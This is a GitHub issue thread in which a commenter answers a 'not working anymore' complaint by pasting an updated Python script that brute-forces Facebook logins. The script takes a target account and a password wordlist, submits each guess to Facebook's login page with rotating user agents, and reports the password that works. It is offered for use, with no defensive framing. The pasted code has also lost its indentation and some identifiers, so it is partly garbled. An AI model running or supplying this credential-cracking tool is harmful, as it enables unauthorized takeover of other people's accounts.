Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

not working anymore #36

Open
x0d3 opened this issue Jun 16, 2022 · 1 comment
Open

not working anymore #36

x0d3 opened this issue Jun 16, 2022 · 1 comment

Comments

@x0d3
Copy link

x0d3 commented Jun 16, 2022

i hope you update it !

@mrnoobnoobies
Copy link

mrnoobnoobies commented Jun 19, 2022

hi @x0d3

fork : https://github.com/mohdradhi84/facebook-cracker-py-3-compatible/blob/master/facebook.py

you can try below updated version :

#!/usr/bin/env python

-- coding: UTF-8 --

This Cooding is Coode in python 2 now it willbe renew soon

from six.moves import input
from six.moves import input as raw_input
import mechanize
try:
import cookielib
except:
import http.cookiejar
cookielib = http.cookiejar
import random
#pip2 install mechanize
#pip2 install requests

email = str(raw_input("Enter the Facebook Username (or) Email (or) Phone Number : "))

passwordlist = str(raw_input("Enter the wordlist name and path : "))

login = 'https://www.facebook.com/login.php?login_attempt=1'

useragents = [('Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]

def main():
global br
br = mechanize.Browser()
cj = cookielib.LWPCookieJar()
br.set_handle_robots(False)
br.set_handle_redirect(True)
br.set_cookiejar(cj)
br.set_handle_equiv(True)
br.set_handle_referer(True)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
welcome()
search()
print("Password does not exist in the wordlist")

def brute(password):
sys.stdout.write("\r[*] Trying ..... {}\n".format(password))
sys.stdout.flush()
br.addheaders = [('User-agent', random.choice(useragents))]
site = br.open(login)
br.select_form(nr = 0)
br.form['email'] = email
br.form['pass'] = password
sub = br.submit()
log = sub.geturl()
if log != login and (not 'login_attempt' in log):
print("\n\n[+] Password Find = {}".format(password))
raw_input("ANY KEY to Exit....")
sys.exit(1)

def search():
global password
passwords = open(passwordlist,"r")
for password in passwords:
password = password.replace("\n","")
brute(password)

#welcome Hackers
def welcome():
wel = """
+=========================================+
|.......... Facebook Crack Brute ...........|
+-----------------------------------------+
| #Author: Technical Dipesh |
| Version 1.0 |
| https://www.youtube.com/channel/UCXuKDM3J_GkCxmdki8Hxh4w |
+=========================================+
|.......... fb-brute ...........|
+-----------------------------------------+\n\n
"""
total = open(passwordlist,"r")
total = total.readlines()
print( wel )
print( " [] Account to crack : {}".format(email) )
print( " [
] Loaded :" , len(total), "passwords" )
print( " [*] Cracking, please wait ...\n\n" )

if name == 'main':
main()

#https://stackoverflow.com/questions/954834/how-do-i-use-raw-input-in-python-3
#https://stackoverflow.com/a/62249675/9222942 cookielib

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants